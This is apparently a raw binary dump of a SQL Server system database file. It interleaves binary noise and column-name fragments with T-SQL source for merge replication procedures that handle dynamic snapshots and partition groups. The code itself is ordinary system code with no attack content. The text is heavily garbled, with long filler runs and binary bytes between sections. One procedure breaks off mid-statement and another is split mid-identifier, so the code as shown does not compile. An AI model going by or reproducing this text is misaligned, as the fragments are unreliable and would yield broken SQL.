hh}@largeuserdefinedtypestovarbinarymax0-hhk@spatialtypestovarbinarymax0-mO@linkedserver0-L^88
Egroup_id0-L^Igroup_name0-Xy88
A@artid0-gphysical_memory_in_use_kb0-glarge_page_allocations_kb0-ilocked_page_allocations_kb0-'&1$$A@subid0-'&188
Q@schemaversion0-'&1$$K@schemaguid0-0$$A@pubid0-$$A@pubid0-$$A@subid0-hhG@pubOfSub0-$$A@pubid0-$$A@artid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Qi(t	#eZOt)Ls&Ifb
m

QK
|
-
		L	ctU>I[
l-}8C`v-4)|vM00-SWgranted_memory_kb0-SQused_memory_kb0-S88
Ograntee_count0-S	88
Mwaiter_count0-S
[timeout_error_count0-SYforced_grant_count0-S88
Cpool_id0-S
88
Kpdw_node_id-@9U0-@9UC@column0-LSUoio_completion_request_address0-LSUx4xCio_type0-LSU[io_pending_ms_ticks0-LSU88
Iio_pending0-LSUoio_completion_routine_address0-LSU]io_user_data_address0-LSUWscheduler_address0-LSUGio_handle0-LSU	Gio_offset0-F8XC@server0-F8XK@srvproduct0-F8XG@provider0-F8X@E@datasrc0-F8X@G@location0-F8X@E@provstr0-F8XE@catalog0-F8XhhM@linkedstyle0-F8X	hhK@localentry0-Y@Q@originator_id0-Y@Y@origin_datasource0-Y@E@tran_id0-Y@C@row_id0-YS@conflict_table0-_`88
A@artid0-_`I@view_name0-_`hh[@include_timestamps0-cO@process_name0-c88
S@concurrent_max0-c88
Q@queue_timeout0-chh[@return_immediately0-cM@DbPrincipal0-Ex88
A@objid0-ExI@publisher0-ExO@publisher_db0-ExM@publication0-ExA@owner0-ExC@tranid0-Ex@?@data0-Ex88
E@datalen0-Ex	88
M@commandtype0-Ex
hhG@cmdstate0-^q@dynamic_filters_function_list!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!dP
s
*
AN

i

		5	L{6a|gZXW`-qA)wx<0-jeC@dbname0-jeA@owner0-jeE@objname0-jeO@targetobject0-3f88
[@heartbeat_interval0-88
K@profile_id0-88
K@agent_type0-800?@mode0-8I@publisher0-888
g@publisher_engine_edition0-8hhw@about_to_insert_new_subscription0-qI@publisher0-qhhK@check_user0-{A@table0-{Y@expected_rowcount0-{ll	Y@expected_checksum0-{44Q@rowcount_only0-{A@owner0-{00O@full_or_fast0-{hhS@shutdown_agent0-{K@table_name0-{	M@column_list0-88
A@artid0-00?@mode0-00Q@publishertype0-I@publisher0-SI@publisher0-ShhE@enabled0-S88
G@interval0-44Isession_id0-88
Irequest_id0-==Istart_time0-<4<Astatus0-@4@Ccommand0-@@Isql_handle0-88
astatement_start_offset0-88
]statement_end_offset0-	@@Kplan_handle0-
44Kdatabase_id0-88
Cuser_id0-$$Oconnection_id0-
44[blocking_session_id0-x4xGwait_type0-88
Gwait_time0-x4xQlast_wait_type0-4Owait_resource0-88
aopen_transaction_count0-88
]open_resultset_count0-Qtransaction_id0-Mcontext_info0-;;Upercent_complete0-$$A@pubid0-$$A@subid0-$$O@replicastate0-p88
E@artnick0-p88
Y@before_view_objid0-p88
[@before_table_objid0-pA@rgcol0-pI@commongen0-phhm@allow_partition_realignment-;0-;88
[@publication_number0-;88
O@partition_id-
88
0-
===@day7(

A
P
w
p
-
		Z		[<c"7Vc&uXi-Hx)`<(xJ1v}--
-- Name: sp_MScreatemergedynamicsnapshot
--
-- Description: 
--      This procedure checks if a dynamic snapshot job is available
--      with the given filter criterion. If not it creates such a job
--      by calling sp_MSaddmergedynamicsnapshotjob. If one already
--      exists, it starts this job and subsequently waits for it complete.
--      The procedure returns success or failure depending on whether the
--      job succeded or failed.
--
-- Notes: 1) The dynamic snapshot location is computed from the working directory
--           on the distributor (got from sp_helpdistributor)
--           or the alternate snapshot folder for the publication if one is specified.
--           this is done by calling proc sp_MSgetpartitionsnapshotfolder
--		  2) This procedure will not check whether the given path is already in
--			 use by another dynamic snapshot generation job. Sharing the same
--			 dynamic snapshot location among different dynamic snapshot 
--			 generation jobs can lead to file corruption and/or snapshot files 
--			 being overwritten.	 
--		  3) calls sp_MSaddmergedynamicsnapshotjob to add the job if it does not exist
--        4) starts the dynamic snapshot job and waits for it to finish. Checks if the
--           job finished by attempting to acquire the applock that the dynamic snapshot
--           will release when it is done.
-- 
-- Parameters: @publication sysname (mandatory)
--
-- Returns: 0 - succeeded
--			1 - failed
--
-- Security: Only users in the PAL role for the publication @publication or 
--           db_owners or sysadmins can run this proc.
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MScreatemergedynamicsnapshot (
    @publication sysname
)
AS
    declare @retcode int
    declare @pub_uses_host_name_for_filtering bit
    declare @pub_uses_suser_sname_for_filtering bit
    declare @host_name sysname
    declare @suser_sname sysname
    declare @jobid uniqueidentifier
    declare @pubid uniqueidentifier
    declare @snapshot_location nvarchar(255)
    declare @partition_id int
    declare @when_generated datetime
    declare @got_applock int
    declare @wait_counter int
    declare @agentid int
    declare @timestamp timestamp

    /* 
    ** Security Check and parameter check for @publication
    */
    SELECT @pubid = NULL
    exec @retcode = sys.sp_MSmerge_validate_publication_presence @publication, NULL, NULL, @pubid output
    if @retcode <> 0 or @@error <> 0
        return 1

    set @pub_uses_host_name_for_filtering = 0
    set @pub_uses_suser_sname_for_filtering = 0
    select @host_name = NULL
    select @suser_sname = NULL
    exec sys.sp_MSget_dynamic_filtering_information @pubid = @pubid,
                @uses_host_name = @pub_uses_host_name_for_filtering OUTPUT,
                @uses_suser_sname = @pub_uses_suser_sname_for_filtering OUTPUT
    if @@error <> 0
        goto FAILURE

    if @pub_uses_host_name_for_filtering = 1
        select @host_name = HOST_NAME()

    if @pub_uses_suser_sname_for_filtering = 1
        select @suser_sname = SUSER_SNAME()

    -- find the partition id for the subscriber
    -- deriving the partition id here and not accepting it as a parameter (from the merge agent)
    -- helps in avoiding false identity.
    select @partition_id = -1
    exec @retcode = sys.sp_MSget_subscriber_partition_id 
                            @publication = @publication, 
                            @partition_id = @partition_id OUTPUT,
                            @maxgen_whenadded = NULL,
                            @host_name_override = @host_name,
                            @suser_sname_override = @suser_sname
    if @@error <> 0 or @retcode <> 0 or @partition_id = -1
    begin
        raiserror(20629, 16, -1)
        return 1
    end
    
    -- check if a job already exists for the given dynamic_filter_login and dynamic_filter_hostname
    select @jobid = NULL
    select @jobid = job_id, @agentid = agent_id from dbo.MSdynamicsnapshotjobs 
        where pubid = @pubid and 
              ((@suser_sname is NULL and dynamic_filter_login is NULL) or dynamic_filter_login = @suser_sname)  and
              ((@host_name is NULL and dynamic_filter_hostname is NULL) or dynamic_filter_hostname = @host_name)
    if (@jobid is NULL)
    begin
        -- we need to create the job here
        -- sp_MSaddmergedynamicsnapshotjob will select the location correctly if none is specified.
        select @snapshot_location = NULL
                
        -- set the frequency type of the job to 1 to indicate run on demand
        exec @retcode = sys.sp_MSaddmergedynamicsnapshotjob 
                            @publication = @publication, 
                            @dynamic_filter_login = @suser_sname, 
                            @dynamic_filter_hostname = @host_name, 
                            @dynamic_snapshot_location = @snapshot_location, 
                            @dynamic_snapshot_jobname = NULL, 
                            @dynamic_snapshot_jobid = @jobid OUTPUT, 
                            @frequency_type = 1,
                            @dynamic_snapshot_agentid = @agentid output,
                            @ignore_select = 1
        if @@error <> 0 or @retcode <> 0 or @jobid is NULL
        begin
            raiserror(20632, 16, -1)
            return 1
        end
    end
    else
    begin
        select @got_applock = -1
        -- now that the job exists check if someone else is running the dynamic snapshot now
        -- check this by attempting to obtain the dynamic snapshot applock with zero wait.
        exec @retcode = sys.sp_MSgetdynamicsnapshotapplock @publication, @partition_id, @got_applock OUTPUT, 0
        if @@error <> 0 or @retcode <> 0
            goto FAILURE

        -- if we got the applock it means that the job is not already running and hence we need to start it
        if @got_applock >= 0 
        begin
            exec @retcode = sys.sp_MSreleasedynamicsnapshotapplock @publication, @partition_id
            if @@error <> 0
                goto FAILURE
        end
        else
        begin
            -- if we did not get the applock wait for the applock till 2000. Once we get
            -- the applock check once more to see if the dynamic snapshot location has been updated.
            exec @retcode = sys.sp_MSgetdynamicsnapshotapplock @publication, @partition_id, @got_applock OUTPUT, 2000
            if @@error <> 0 or @retcode <> 0
                goto FAILURE
            if @got_applock >= 0
            begin
                exec @retcode = sys.sp_MSreleasedynamicsnapshotapplock @publication, @partition_id
                if @@error <> 0
                    goto FAILURE
                    
                select @snapshot_location = NULL
                select @snapshot_location = dynamic_snapshot_location from dbo.MSmerge_dynamic_snapshots where partition_id = @partition_id
                if @snapshot_location is not NULL
                begin
                    --select @dynamic_snapshot_location = @snapshot_location
                    select @snapshot_location, 0, 0x00000
                    return 0
                end
            end
        end
    end
    
    -- start the dynamic snapshot job on the distributor
    -- Get distributor information for RPC
    declare @rpcsrvname sysname
    declare @distributor sysname
    declare @distproc nvarchar(300)
    declare @distribdb sysname
    declare @retcode2 int
    declare @command nvarchar(1000)

    exec @retcode = sys.sp_MSrepl_getdistributorinfo @distributor = @distributor output,
                                           @distribdb = @distribdb output,
                                           @rpcsrvname = @rpcsrvname output
    if @@error <> 0 or @retcode <> 0
        goto FAILURE

    -- before starting the job get t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(y>Kf\vNcreate procedure sys.sp_MSget_partitionid_eval_proc (
        @partition_id_eval_proc sysname,
        @pubid uniqueidentifier,
        @publication_number smallint,
        @column_list nvarchar(2000) = null,
        @function_list nvarchar(2000) = null,
        @partition_id_eval_clause nvarchar(2000) = null,
        @use_partition_groups smallint = 0
) as
begin
    declare @cmdtemp nvarchar(max),
            @retcode int

    -- Security check
    exec @retcode= sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0 return (1)

    create table #tmpevalproccmd (phase int NOT NULL, cmdtext nvarchar(max) collate database_default null)

    select @cmdtemp = N'create procedure dbo.' + sys.fn_replreplacesinglequote(quotename(@partition_id_eval_proc)) collate database_default + N' @partition_id int OUTPUT, @maxgen_whenadded bigint OUTPUT, @host_name_override sysname = NULL, @suser_sname_override sysname = NULL as
    begin
        declare @retcode int
        declare @function_values_overridden bit
        declare @overridden_function_list nvarchar(2000)
        declare @temp_overridden_function_list nvarchar(2001)
        declare @overridden_eval_clause nvarchar(2000)
        declare @command nvarchar(max)
        declare @dbname sysname
        declare @using_partition_groups bit
        declare @is_partition_active bit
        declare @app_lock_resource nvarchar(255)

        if ({ fn ISPALUSER(N''' + convert(nvarchar(36),@pubid) + ''') } <> 1)
        begin
            RAISERROR (14126, 11, -1)
            return (1)
        end

        select @dbname = quotename(db_name())
        select @host_name_override = replace(@host_name_override, '''''''', '''''''''''')
        select @suser_sname_override = replace(@suser_sname_override, '''''''', '''''''''''')
'
    
    insert into #tmpevalproccmd (phase, cmdtext) values(1, @cmdtemp)
    
    if @partition_id_eval_clause is null
        select @cmdtemp = N'
        select @partition_id = -1'
    else
    begin
        select @cmdtemp = N' 
        select @partition_id = NULL
        select @function_values_overridden = 0

        select @overridden_function_list = N''' + sys.fn_replreplacesinglequote(@function_list) + N'''
        select @overridden_eval_clause = N''' + sys.fn_replreplacesinglequote(@partition_id_eval_clause) + N'''

        if @host_name_override is not null and @host_name_override != ''''
        begin
            select @temp_overridden_function_list = N'','' + @overridden_function_list
            select @temp_overridden_function_list = replace(@temp_overridden_function_list collate SQL_Latin1_General_CP1_CI_AS, '',host_name()'' collate SQL_Latin1_General_CP1_CI_AS, '','''''' + @host_name_override + '''''''')
            select @overridden_function_list = substring(@temp_overridden_function_list, 2, len(@temp_overridden_function_list)-1)
            select @overridden_eval_clause = replace(@overridden_eval_clause collate SQL_Latin1_General_CP1_CI_AS, ''= host_name()'' collate SQL_Latin1_General_CP1_CI_AS, ''= '''''' + @host_name_override + '''''''')
            select @function_values_overridden = 1
        end

        if @suser_sname_override is not null and @suser_sname_override != ''''
        begin
            select @temp_overridden_function_list = N'','' + @overridden_function_list
            select @temp_overridden_function_list = replace(@temp_overridden_function_list collate SQL_Latin1_General_CP1_CI_AS, '',suser_sname()'' collate SQL_Latin1_General_CP1_CI_AS, '','''''' + @suser_sname_override + '''''''')
            select @overridden_function_list = substring(@temp_overridden_function_list, 2, len(@temp_overridden_function_list)-1)
            select @overridden_eval_clause = replace(@overridden_eval_clause collate SQL_Latin1_General_CP1_CI_AS, ''= suser_sname()'' collate SQL_Latin1_General_CP1_CI_AS, ''= '''''' + @suser_sname_override + '''''''')
            select @function_values_overridden = 1
        end

        if @function_values_overridden = 0
            select @partition_id = partition_id, @maxgen_whenadded = maxgen_whenadded, @using_partition_groups = using_partition_groups, @is_partition_active = is_partition_active 
            from dbo.MSmerge_partition_groups 
            where ' + sys.fn_replreplacesinglequote(@partition_id_eval_clause) + N'
            and publication_number = ' + convert(nvarchar, @publication_number) + N'
        else
        begin
            select @command = N''select @partition_id = partition_id, @maxgen_whenadded = maxgen_whenadded, @using_partition_groups = using_partition_groups, @is_partition_active = is_partition_active 
            from '' + @dbname + N''.[dbo].[MSmerge_partition_groups] 
            where '' + @overridden_eval_clause + N''
            and publication_number = ' + convert(nvarchar, @publication_number) + N'''

            exec sys.sp_executesql @command, N''@partition_id int output, @maxgen_whenadded int output, @using_partition_groups bit output, @is_partition_active bit output'', @partition_id=@partition_id output, @maxgen_whenadded=@maxgen_whenadded output, @using_partition_groups = @using_partition_groups output, @is_partition_active = @is_partition_active output
        end
        
        if @partition_id is null '
        
        insert into #tmpevalproccmd (phase, cmdtext) values(2, @cmdtemp)
        
        if @use_partition_groups > 0 
            select @cmdtemp = N' or @is_partition_active = 0 or @using_partition_groups = 0 '
        else
            select @cmdtemp = N' '
        
        select @cmdtemp = @cmdtemp + N'
        begin
            begin tran

            select @maxgen_whenadded = max(generation) from dbo.MSmerge_genhistory with (updlock) '

        if @use_partition_groups > 0 
        begin
            select @cmdtemp = @cmdtemp + N'
            if @partition_id is null
            begin
                if @function_values_overridden = 0
                    insert into dbo.MSmerge_partition_groups( ' + sys.fn_replreplacesinglequote(@column_list) + N', publication_number, maxgen_whenadded, using_partition_groups, is_partition_active) values (' + sys.fn_replreplacesinglequote(@function_list) + N', ' + convert(nvarchar, @publication_number) + N', @maxgen_whenadded, 1, 0)
                else
                begin
                    select @command = N''insert into dbo.MSmerge_partition_groups( ' + sys.fn_replreplacesinglequote(@column_list) + N', publication_number, maxgen_whenadded, using_partition_groups, is_partition_active) values ('' + @overridden_function_list + '', ' + convert(nvarchar, @publication_number) + N', '' + convert(nvarchar, @maxgen_whenadded) + '', 1, 0)''
                    exec (@command)
                end
            end
            else
            begin
                update dbo.MSmerge_partition_groups set maxgen_whenadded = @maxgen_whenadded, using_partition_groups = 1, is_partition_active = 0
                where partition_id = @partition_id 
                and publication_number = ' + convert(nvarchar, @publication_number) + N'
            end '
        end  -- if @use_partition_groups > 0
        else
        begin
            select @cmdtemp = @cmdtemp + N'    
            if @function_values_overridden = 0
                insert into dbo.MSmerge_partition_groups( ' + sys.fn_replreplacesinglequote(@column_list) + N', publication_number, maxgen_whenadded, using_partition_groups, is_partition_active) values (' + sys.fn_replreplacesinglequote(@function_list) + N', ' + convert(nvarchar, @publication_number) + N', @maxgen_whenadded, 0, 1)
            else
            begin
                select @command = N''insert into dbo.MSmerge_partition_groups( ' + sys.fn_replreplacesinglequote(@column_list) + N', publication_number, maxgen_whenadded, using_partition_groups, is_partition_active) values ('' + @overridden_function_list + '', ' + convert(nva!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Fz>K#WXNrchar, @publication_number) + N', '' + convert(nvarchar, @maxgen_whenadded) + '', 0, 1)''
                exec (@command)
            end '
        end -- else block
        
        select @cmdtemp = @cmdtemp + N'
            commit tran

            if @partition_id is null
                select @partition_id = @@identity '

        insert into #tmpevalproccmd (phase, cmdtext) values(3, @cmdtemp)
        select @cmdtemp = ''

        if @use_partition_groups > 0
        begin
            -- First we look for the entry for this clause that has the lowest partition_id and delete all that are greater than this lowest partition_id.
            -- This is to protect against multiple subscribers with the same filter clause inserting new rows in MSmerge_partition_groups simultaneously. 
            -- We then work with this lowest partition_id
            select @cmdtemp = @cmdtemp + N'
            if @function_values_overridden = 0
            begin
                select top 1 @partition_id = partition_id, @maxgen_whenadded = maxgen_whenadded, @using_partition_groups = using_partition_groups, @is_partition_active = is_partition_active 
                from dbo.MSmerge_partition_groups 
                where ' + sys.fn_replreplacesinglequote(@partition_id_eval_clause) + N'
                and publication_number = ' + convert(nvarchar, @publication_number) + N' order by partition_id asc
                
                delete from dbo.MSmerge_partition_groups where ' + sys.fn_replreplacesinglequote(@partition_id_eval_clause) + N'
                and partition_id > @partition_id and publication_number = ' + convert(nvarchar, @publication_number) + N'
            end
            else
            begin
                select @command = N''select top 1 @partition_id = partition_id, @maxgen_whenadded = maxgen_whenadded, @using_partition_groups = using_partition_groups, @is_partition_active = is_partition_active 
                from '' + @dbname + N''.[dbo].[MSmerge_partition_groups] 
                where '' + @overridden_eval_clause + N''
                and publication_number = ' + convert(nvarchar, @publication_number) + N' order by partition_id asc''

                exec sys.sp_executesql @command, N''@partition_id int output, @maxgen_whenadded int output, @using_partition_groups bit output, @is_partition_active bit output'', @partition_id=@partition_id output, @maxgen_whenadded=@maxgen_whenadded output, @using_partition_groups = @using_partition_groups output, @is_partition_active = @is_partition_active output

                select @command = N''delete from '' + @dbname + N''.[dbo].[MSmerge_partition_groups] where '' + @overridden_eval_clause + N'' 
                and partition_id > @partition_id and publication_number = ' + convert(nvarchar, @publication_number) + N'''
                exec sys.sp_executesql @command, N''@partition_id int'', @partition_id = @partition_id 
            end'

            -- Now take an exlusive applock for this lowest partition_id and do all the eval setup work (making sure that partition is still not active)
            insert into #tmpevalproccmd (phase, cmdtext) values(4, @cmdtemp)
            select @cmdtemp = '
            select @app_lock_resource = N''MSmerge_evalpartid_' + convert(nvarchar, @publication_number) + N'_'' + convert(nvarchar, @partition_id)
            exec @retcode = sp_getapplock @Resource = @app_lock_resource,
                                  @LockMode = N''Exclusive'',
                                  @LockOwner = N''Session'',
                                  @LockTimeout = -1,
                                  @DbPrincipal = N''MSmerge_PAL_role''
            if @@error<>0 or @retcode<0
                return 1

            select @is_partition_active = is_partition_active from dbo.MSmerge_partition_groups where
            	    partition_id = @partition_id and publication_number = ' + convert(nvarchar, @publication_number) + N'

            if (@is_partition_active = 0)
            begin
                -- the following needs to be done only when using partition ids
                -- create a dummy generation if using partition groups. This is needed because with recent makegeneration changes
                -- we may have no open generation in genhistory. Now if we dont create a dummy generation that is higher than
                -- @maxgen_whenadded our watermark may end up being maxgen_whenadded. Then even for the next merge since maxgen_whenadded
                -- changes could potentially be enumerated we will use setupbelongs instead of partition groups.
                exec @retcode = sys.sp_MScreatedummygeneration @pubid = ''' + convert(nvarchar(36), @pubid) + ''', @maxgen_whenadded = @maxgen_whenadded
                if @retcode <> 0 or @@error <> 0
                begin
                    select @retcode = 1
                    goto error
                end'

            insert into #tmpevalproccmd (phase, cmdtext) values(5, @cmdtemp)
            select @cmdtemp = '
                -- only do that following if there are some rows in contents
                if exists (select * from dbo.MSmerge_contents)
                begin
                    exec @retcode = sys.sp_MSevaluate_change_membership_for_pubid @pubid = ''' + convert(nvarchar(36), @pubid) + ''', @partition_id = @partition_id
                    if @retcode <> 0 or @@error <> 0
                    begin
                        select @retcode = 1
                        goto error
                    end
                end

                exec @retcode = sys.sp_MSmap_partitionid_to_generations @partition_id = @partition_id
                if @retcode <> 0 or @@error <> 0
                begin
                    select @retcode = 1
                    goto error
                end

                update dbo.MSmerge_partition_groups set is_partition_active = 1 
                where partition_id = @partition_id and publication_number = ' + convert(nvarchar, @publication_number) + N'
            end
error:      
            exec sp_releaseapplock @Resource = @app_lock_resource, @LockOwner = N''Session'', @DbPrincipal = N''MSmerge_PAL_role''
            if (@retcode = 1) --If we got here because of an earlier error then bail
                return 1'
        end            
        select @cmdtemp = @cmdtemp + N'
        end '
    end
    
    select @cmdtemp = @cmdtemp + N'
        return 0
    end
    '
    insert into #tmpevalproccmd (phase, cmdtext) values(6, @cmdtemp)
    
    select cmdtext from #tmpevalproccmd order by phase
    
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<({rK!Ev\create procedure sys.sp_MSsetup_partition_groups_table (@pubid uniqueidentifier, @upgrade bit = 0) as
begin

    set nocount on

    -- Find the functions used in this publication's filters. 

    declare @prev_index int, 
            @cur_index int, 
            @datalength int, 
            @function nvarchar(500),
            @dynamic_filters_function_list nvarchar(500),
            @retcode int,
            @partition_id_eval_clause nvarchar(2000),
            @column_list nvarchar(2000),
            @function_list nvarchar(2000),
            @use_partition_groups smallint,
            @dynamic_filters bit,
            @publication sysname,
			@quoted_function nvarchar(517),
			@function_schema sysname,
			@function_name sysname
            

    declare @publication_number smallint
    select top 1 @publication_number = publication_number, @publication = name from dbo.sysmergepublications where pubid = @pubid

    select @partition_id_eval_clause = NULL

    select @dynamic_filters = 0
    
    select @dynamic_filters_function_list = dynamic_filters_function_list,
           @use_partition_groups = use_partition_groups,
           @dynamic_filters = dynamic_filters
    from dbo.sysmergepublications
    where pubid = @pubid 
    and dynamic_filters = 1

    if (@dynamic_filters = 1 and (@dynamic_filters_function_list is null or @dynamic_filters_function_list = ' '))
        exec sp_MSget_dynamic_filters_function_list @publication, @dynamic_filters_function_list OUTPUT

    
    if @dynamic_filters_function_list is not null and @dynamic_filters_function_list <> ' '
    begin
        
        select    @datalength = datalength(@dynamic_filters_function_list)/2, 
                @prev_index = 1, 
                @cur_index = charindex (';', @dynamic_filters_function_list, @prev_index)

        while (@cur_index <> 0)
        begin
            select @function = substring(@dynamic_filters_function_list, @prev_index, @cur_index - @prev_index)
            select @function = REPLACE(REPLACE(REPLACE(REPLACE(@function collate SQL_Latin1_General_CP1_CS_AS, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')
            if (ltrim(rtrim(@function)) <> ' ')
            begin
                select @function = REPLACE(REPLACE(@function collate SQL_Latin1_General_CP1_CS_AS, '(', ''), ')', '')

				-- maximum individual function size of 125 characters
				--   ( max sysname - len('_FN') )
				if datalength(@function)/2 > 125
					   return(1)	
               
				-- only quote function names containing special characters (non alphabetical characters and underscores) as built-ins (i.e. SUSER_SNAME and HOST_NAME) cannot be quoted
				if patindex('%[^A-Za-z0-9_]%', @function collate Latin1_General_BIN) > 0
				begin
					select @function_name = parsename(@function, 1)
					select @function_schema = parsename(@function, 2)
					select @quoted_function = N''
					
					if @function_schema is not null
						select @quoted_function = quotename(@function_schema) + N'.'

					if @function_name is not null
						select @quoted_function = @quoted_function + quotename(@function_name)
					else
						select @quoted_function = quotename(@function)
				end
				else
				begin
					-- function only contains A-Z and _ no need for quoting
					select @quoted_function = @function 
				end

				if @partition_id_eval_clause is NULL
                begin
					select @partition_id_eval_clause = quotename(@function + '_FN') + ' = ' + @quoted_function + '() '
                    select @column_list = quotename(@function + '_FN')
                    select @function_list = @quoted_function + '()'
                end
                else
                begin
                    select @partition_id_eval_clause = @partition_id_eval_clause + 'AND ' + quotename(@function + '_FN') + ' = ' + @quoted_function + '() '
                    select @column_list = @column_list + ',' + quotename(@function + '_FN')
                    select @function_list = @function_list + ',' + @quoted_function + '()'
                end

                -- only add the partition column if it is not upgrade (called by sp_vupgrade_merge_objects)
                if (@upgrade=0)        
	                exec @retcode = sp_MSadd_merge_partition_column @function
                
            end
            select @prev_index = @cur_index+1
            select @cur_index = 0
            select @cur_index = charindex (';', @dynamic_filters_function_list, @prev_index)

        end

        -- still need to get the last one

        if (@datalength > @prev_index)
        begin
            select @function = substring(@dynamic_filters_function_list, @prev_index, @datalength - @prev_index + 1)
            select @function = REPLACE(REPLACE(REPLACE(REPLACE(@function collate SQL_Latin1_General_CP1_CS_AS, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')
            if (ltrim(rtrim(@function)) <> ' ')
            begin
                select @function = REPLACE(REPLACE(@function collate SQL_Latin1_General_CP1_CS_AS, '(', ''), ')', '')
               
				-- maximum individual function size of 125 characters
				--   ( max sysname - len('_FN') )
				if datalength(@function)/2 > 125
					   return(1)	

				-- only quote function names containing special characters (non alphabetical characters and underscores) as built-ins (i.e. SUSER_SNAME and HOST_NAME) cannot be quoted
				if patindex('%[^A-Za-z0-9_]%', @function collate Latin1_General_BIN) > 0
				begin
					select @function_name = parsename(@function, 1)
					select @function_schema = parsename(@function, 2)
					select @quoted_function = N''
					
					if @function_schema is not null
						select @quoted_function = quotename(@function_schema) + N'.'

					if @function_name is not null
